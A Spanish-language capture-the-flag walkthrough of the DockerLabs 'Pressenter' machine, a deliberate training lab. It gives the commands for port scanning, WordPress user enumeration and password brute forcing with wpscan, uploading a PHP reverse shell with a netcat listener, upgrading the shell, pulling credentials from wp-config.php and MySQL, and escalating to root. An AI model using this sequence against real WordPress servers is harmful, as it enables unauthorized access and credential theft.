Pressenter - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Fácil | d1se0 |
Reconocimiento
Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports
-p-: Escanea todos los puertos (1-65535).--open: Solo muestra los puertos abiertos.-sS: Realiza un escaneo SYN, que es rápido y discreto.--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.-n: No realiza resolución DNS.-Pn: No realiza ping previo para determinar si el host está activo.-vvv: Muestra resultados detallados y en tiempo real.
Durante el escaneo, descubrimos que los siguientes puertos están activos:
80(HTTP) A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.
nmap -p80 -sCV 172.17.0.2 -oG targeted
Exploración Web
Al acceder al puerto 80, encontramos una página con un mensaje de inicio de reto.
En el código fuente aparece un dominio oculto: pressenter.hl. Lo añadimos en /etc/hosts y accedemos nuevamente.
Observamos que el sitio usa WordPress, por lo que intentamos acceder a wp-admin y otros recursos de WordPress.
Usamos WPSCAN para enumerar los usuarios de WordPress:
wpscan --url http://pressenter.hl/ -e vp,cb,u
Identificamos dos usuarios: pressi y hacker.
Fuerza bruta
Ejecutamos fuerza bruta sobre pressi con el diccionario rockyou.txt:
wpscan --url http://pressenter.hl/ -U pressi -P /usr/share/wordlists/rockyou.txt
Obtenemos la contraseña dumbass para pressi y accedemos al panel de WordPress.
Reverse Shell
En el panel de WordPress, instalamos el plugin File Manager.
Aprovechamos la sección de subida de archivos para cargar una reverseshell en PHP. ara esto, generamos una reverseshell desde Pentest Monkey, una herramienta popular para crear shells PHP que nos permiten obtener acceso remoto al servidor. La ruta de la reverseshell es la siguiente:
Reverseshell de Pentest Monkey
Iniciamos netcat en nuestro sistema para escuchar conexiones entrantes:
nc -lvnp 4444
Accedemos a la reverse shell a través del navegador:
Logramos acceso como www-data.
TTY ReverseShell
Iniciar una sesión de shell interactiva
En nuestra shell básica, ejecutamos el siguiente comando para forzar la creación de una sesión de bash interactiva:
script /dev/null -c bash
Suspender la shell
Una vez que el comando anterior está en ejecución, utilizamos
Control+Z
para suspender temporalmente nuestra shell.
Preparar nuestro terminal local:
Antes de volver a nuestra shell, configuramos nuestro terminal local:
stty raw -echo; fg
Resetear la configuración del terminal
Ahora que tenemos el control de la shell, la reseteamos para asegurar que se comporta correctamente:
reset
Configura el tipo de terminal:
xterm
export TERM=xterm
export SHELL=bash
Intrusion con el usuario enter.
Identificamos al usuario enter en el sistema y exploramos el archivo wp-config.php en WordPress, donde encontramos las credenciales de la base de datos (admin / rooteable).
mysql -u admin --password=rooteable
Una vez en MySQL, exploramos la base de datos wordpress y buscamos en la tabla wp_usernames:
select*from wp_usernames;
+----+----------+-----------------+---------------------+
| id | username | password | created_at |
+----+----------+-----------------+---------------------+
| 1 | enter | kernellinuxhack | 2024-08-22 13:18:04 |
+----+----------+-----------------+---------------------+
Esto nos proporciona la contraseña de enter: kernellinuxhack.
Con esto, cambiamos al usuario enter:
su enter
Escalada de Privilegios
Al ejecutar sudo -l, notamos que tiene permisos para ejecutar cat como root y whoami como root .Utilizando GTFOBins sabemos cómo explotar estos binarios.
Exploramos la raíz de enter y encontramos user.txt, lo que sugiere que un archivo equivalente puede estar en el directorio /root. Como podemos usar cat como root, lo leemos:
Alternativamente, al probar la misma contraseña de enter para root, conseguimos acceso root: